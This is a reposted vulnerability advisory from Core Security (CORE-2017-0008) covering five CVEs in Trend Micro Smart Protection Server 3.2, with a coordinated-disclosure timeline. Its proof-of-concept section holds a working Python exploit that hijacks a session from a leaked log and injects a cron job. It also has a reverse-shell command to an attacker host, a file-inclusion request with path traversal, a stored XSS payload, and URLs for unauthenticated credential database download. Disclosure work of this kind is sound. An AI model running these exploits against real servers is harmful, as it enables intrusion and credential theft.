Trend Micro Smart Protection Server 3.2 XSS / Access Control / Disclosure
Posted on 22 December 2017
1. *Advisory Information* Title: Trend Micro Smart Protection Server Multiple Vulnerabilities Advisory ID: CORE-2017-0008 Advisory URL: http://www.coresecurity.com/advisories/trend-micro-smart-protection-server-multiple-vulnerabilities Date published: 2017-12-19 Date of last update: 2017-12-11 Vendors contacted: Trend Micro Release mode: Coordinated release 2. *Vulnerability Information* Class: Information Exposure Through Log Files [CWE-532], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Control of Filename for Include/Require Statement in PHP Program [CWE-98], Improper Neutralization of Input During Web Page Generation [CWE-79],Improper Authorization [CWE-285] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2017-11398, CVE-2017-14094, CVE-2017-14095, CVE-2017-14096,CVE-2017-14097 3. *Vulnerability Description* Trend Micro's website states that: Trend Micro Smart Protection Server [1] is a next-generation, in-the-cloud based, advanced protection solution. At the core of this solution is an advanced scanning architecture that leverages malware prevention signatures that are stored in-the-cloud. This solution leverages file reputation and Web reputation technology to detect security risks. The technology works by off loading a large number of malware prevention signatures and lists that were previously stored on endpoints to Trend Micro Smart Protection Server. Multiple vulnerabilities were found in the Smart Protection Server's Administration UI that would allow a remote unauthenticated attacker to execute arbitrary commands on the system. 4. *Vulnerable Packages* . Trend Micro Smart Protection Server 3.2 (Build 1085) Other products and versions might be affected, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Notes: . SECURITY BULLETIN: Trend Micro Smart Protection Server (Standalone) Multiple Vulnerabilities[2] 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* In section 7.1 we describe how an unauthenticated attacker could get a session token to perform authenticated requests against the application. Sections 7.2 and 7.3 describe two vectors to achieve remote command execution in the context of the Web application. Several public privilege escalation vulnerabilities exist that are still unpatched. In combination with the aforementioned vulnerabilities a remote unauthenticated attacker would be able to execute arbitrary system commands with root privileges. Sections 7.4 and 7.5 cover other common Web application vulnerabilities found in the product's console. 7.1. *Session hijacking via log file disclosure* [CVE-2017-11398] The application stores diagnostic logs in the /widget/repository/log/diagnostic.log file. Performing a login or some basic browsing will write several entries with the following format: /----- 2017-08-18 17:00:38,468,INFO,rti940901j0556161dudhj6805,null,<br /> <b>Notice</b>: Undefined index: param in <b>/var/www/AdminUI/widget/inc/class/common/db/GenericDao.php</b> on line <b>218</b><br /><br /> -----/ Each log entry leaks the associated session ID next to the log alert level and can be accessed via HTTP without authenticating to the Web application. Therefore, an unauthenticated attacker can grab this file and hijack active user sessions to perform authenticated requests. 7.2. *Remote command execution via cron job injection* [CVE-2017-14094] The script admin_update_program.php is responsible for creating a cron job when software updates are scheduled. The HTTP request contains several parameters that are used without sanitization as part of the cron job created at /var/spool/cron/webserv. We will target the hidTimingMin parameter. File /var/www/AdminUI/php/admin_update_program.php: /----- if ($_SERVER['REQUEST_METHOD'] == 'POST'){ [...] $arr_au['Program']['AUScheduleTimingMin']= isset($_POST["hidTimingMin"])?$_POST["hidTimingMin"]:"0"; [...] if ( $arr_au['Program']['UseAUSchedule'] == "1"){ if ( $arr_au['Program']['AUScheduleType'] == "0" ){ $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", "*"); }else { $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", $arr_au['Program']['AUScheduleTimingDay']); } $crontab->setCommand("/usr/tmcss/bin/UpdateManage.exe --Program --Schedule > /dev/null 2>&1"); $crontab->saveCronFile(); } if(! $crontab->addToCrontab()){ header( 'Location: admin_update_program.php?status=savecrontaberror&sid='.$session_name ) ; exit; } -----/ File /var/www/AdminUI/php/inc/crontab.php: /----- function setDateParams($min=NULL, $hour=NULL, $day=NULL, $month=NULL, $dayofweek=NULL){ if($min=="0") $this->minute=0; elseif($min) $this->minute=$min; else $this->minute="*"; if($hour=="0") $this->hour=0; elseif($hour) $this->hour=$hour; else $this->hour="*"; $this->month=($month) ? $month : "*"; $this->day=($day) ? $day : "*"; $this->dayofweek=($dayofweek != NULL) ? $dayofweek : "*"; } function saveCronFile(){ $command=$this->minute." ".$this->hour." ".$this->day." ".$this->month." ".$this->dayofweek." ".$this->command." "; if(!fwrite($this->handle, $command)) return true; else return false; } function addToCrontab(){ if(!$this->filename) exit('No name specified for cron file'); $data=array(); exec("crontab ".escapeshellarg($this->directory.$this->filename),$data,$ret); if($ret==0) return true; else return false; } -----/ The following python script creates a cron job that will run an arbitrary command on every minute. It also leverages the session hijacking vulnerability described in 7.1 to bypass the need of authentication. /----- #!/usr/bin/env python import requests import sys def exploit(host, port, command): session_id = get_session_id(host, port) print "[+] Obtained session id %s" % session_id execute_command(session_id, host, port, command) def get_session_id(host, port): url = "https://%s:%d/widget/repository/log/diagnostic.log" % (host, port) r = requests.get(url, verify=False) for line in r.text.split(' ')[::-1]: if "INFO" in line or "ERROR" in line: return line.split(',')[3] def execute_command(session_id, host, port, command): print "[+] Executing command '%s' on %s:%d" % (command, host, port) url = "https://%s:%d/php/admin_update_program.php?sid=%s" % (host, port, session_id) multipart_data = { "ComponentSchedule": "on", "ComponentScheduleOS": "on", "ComponentScheduleService": "on", "ComponentScheduleWidget": "on", "useAUSchedule": "on", "auschedule_setting": "1", "update_method": "1", "update_method3": "on", "userfile": "", "sid": session_id, "hidComponentScheduleOS": "1", "hidComponentScheduleService": "1", "hidComponentScheduleWidget": "1", "hidUseAUSchedule": "1", "hidScheduleType": "1", "hidTimingDay": "2", "hidTimingHour": "2", "hidTimingMin": "* * * * * %s #" % command, "hidUpdateOption": "1", "hidUpdateNowFlag": "" } r = requests.post(url, data=multipart_data, cookies={session_id: session_id}, verify=False) if "MSG_UPDATE_UPDATE_SCHEDULE" in r.text: print "[+] Cron job added, enjoy!" else: print "[-] Session has probably timed out, try again later!" if __name__ == "__main__": exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3]) -----/ The following proof of concept opens a reverse shell to the attacker's machine. /----- $ python coso.py 192.168.45.186 4343 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' [+] Obtained session id q514un6ru6stcpf3k0n4putbd3 [+] Executing command 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' on 192.168.45.186:4343 [+] Cron job added, enjoy! $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.45.186] port 8888 [tcp/*] accepted (family 2, sport 59508) bash: no job control in this shell [webserv@ localhost ~]$ -----/ 7.3. *Remote command execution via local file inclusion* [CVE-2017-14095] The /widget/inc/widget_package_manager.php script passes user provided input to the PHP require_once function without sanitization. However, there are some restrictions that need to be overcome in order to include arbitrary files, as the application appends PoolManager.php at the end of the filename. File /var/www/AdminUI/widget/inc/widget_package_manager.php: /----- switch($widgetRequest['act']){ case "check": try{ // $strUpdateType = widget, configure_widget_and_widget_component $strUpdateType = isset($widgetRequest['update_type']) ? $widgetRequest['update_type'] : 'widget'; $strFuncName = 'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update'; $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName(); [...] -----/ File /var/www/AdminUI/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php: /----- public function getWidgetPoolManager($strUpdateType = 'widget'){ if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){ $strFileName = $this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType); require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php'); $strClassName = 'WF'.$strFileName.'PoolManager'; self::$instance[__FUNCTION__][$strUpdateType] = new $strClassName($this->objFramework); } return self::$instance[__FUNCTION__][$strUpdateType]; } -----/ One way for an attacker to place an arbitrary file on the system is to abuse the update process that can be managed from the same product console. Files downloaded from alternate update sources are stored in the /var/tmcss/activeupdate directory. An attacker can setup a fake update server and trigger an update from it to download the malicious archive. As an example, we have packed a reverse shell named rshellPoolManager.php into the bf1747402402.zip archive. The following server.ini would instruct the application to download the archive and uncompress it inside /var/tmcss/activeupdate: /----- ; ======================================= ; ActiveUpdate 1.2 US ; ; Filename: Server.ini ; ; New Format AU 1.8 ; ; Last modified by AUJP1 10/14/2015 ; ======================================= [Common] Version=1.2 CertExpireDate=Jul 28 08:52:40 2019 GMT [Server] AvailableServer=1 Server.1=http://<serverIP>:1080/ AltServer=http://<serverIP>:1080/ Https=http://<serverIP>:1080/ [PATTERN] P.48040039=pattern/bf1747402402.zip,1747402402,257 -----/ After triggering an update from the Web console, the PHP script is written to the expected location. /----- [root@ localhost activeupdate]# ls -lha /var/tmcss/activeupdate/ | grep php -rw-r--r--. 1 webserv webserv 66 ago 25 22:59 rshellPoolManager.php -----/ The final step is to include the script and execute our payload. /----- POST /widget/inc/widget_package_manager.php?sid=dj0efdmskngvt4lbhakgc6cru7 HTTP/1.1 Host: 192.168.45.186:4343 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: application/json Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Request: JSON X-CSRFToken: dj0efdmskngvt4lbhakgc6cru7 Content-Type: application/json; charset=utf-8 Content-Length: 122 Cookie: dj0efdmskngvt4lbhakgc6cru7=dj0efdmskngvt4lbhakgc6cru7 Connection: close {"act": "check", "update_type": "../../../../../../../../../var/tmcss/activeupdate/rshell"} -----/ Steven Seeley and Roberto Suggi Liverani presented various privilege escalation vectors to move from webserv to root on their presentation "I Got 99 Trends and a # Is All Of Them". Based on our testing the attacks remain unpatched, so we did not try to find additional ways to escalate privileges. 7.4. *Stored cross-site scripting* [CVE-2017-14096] The ru parameter of the wcs_bwlists_handler.php script is vulnerable to cross-site scripting. This endpoint is used to manage user defined URLs. After the rule is inserted, the payload will be executed every time the user opens the user defined URLs section. The following proof of concept stores code to open an alert box. /----- https://<serverIP>:4343/php/wcs_bwlists_handler.php?sid=2f03bf97fc4912ee&req=mgmt_insert&st=1&ac=0&ru=http%3A%2F%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E&rt=3&ipt=0&ip4=&ip4m=128&cn=&dn= -----/ 7.5. *Improper access control* [CVE-2017-14097] The product console includes widgets that can be used to monitor other servers. Credentials to access the servers being monitored, widget logs and other information reside on a SQLite database which can be accessed without authentication at the following URL: /----- https://<serverIP>:4343/widget/repository/db/sqlite/tmwf.db -----/ The credentials are stored using AES256 with a dynamic key. However, the key is also placed inside the Web server directories and available for download without authentication. /----- https://<serverIP>:4343/widget/repository/inc/class/common/crypt/crypt.key -----/ This would allow an attacker to decrypt the contents of the database, rendering the encryption mechanism useless. 8. *Report Timeline* . 2017-09-04: Core Security sent an initial notification to Trend Micro, including a draft advisory. . 2017-10-02: Core Security asked for an update on the vulnerability reported. . 2017-10-02: Trend Micro stated they are still in the process of creating the official fix for the vulnerabilities reported. ETA for the fix should be end of this month (October). . 2017-11-13: Core Security requested a status on the timeline for fixing the reported vulnerabilities since the original ETA was not accomplished. . 2017-11-14: Trend Micro stated they are still working on the Critical Patch and found problems along the way. Patch is now in QA. . 2017-11-20: Trend Micro informed availability for the fixes addressing 5 out of the 6 vulnerabilities reported. They stated one of the reported vulnerabilities is on a table where the SQL query is allowed and 'does not cause anything leaking'. Still in the process of localizing the critical patches for other regions. Will let us know when everything is covered in order to set a disclosure date. . 2017-11-21: Core Security thanked the update and agreed on removing one of the reported vulnerabilities. . 2017-12-05: Trend Micro provided the CVE-ID for all the vulnerabilities reported and proposed the public disclosure date to be December 14th. . 2017-12-06: Core Security thanked the update and proposed public disclosure date to be Tuesday December 19th @ 12pm EST. . 2017-12-19: Advisory CORE-2017-0008 published. 9. *References* [1] https://www.trendmicro.com/en_ca/business/technologies/smart-protection-network.html [2] https://success.trendmicro.com/solution/1118992 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.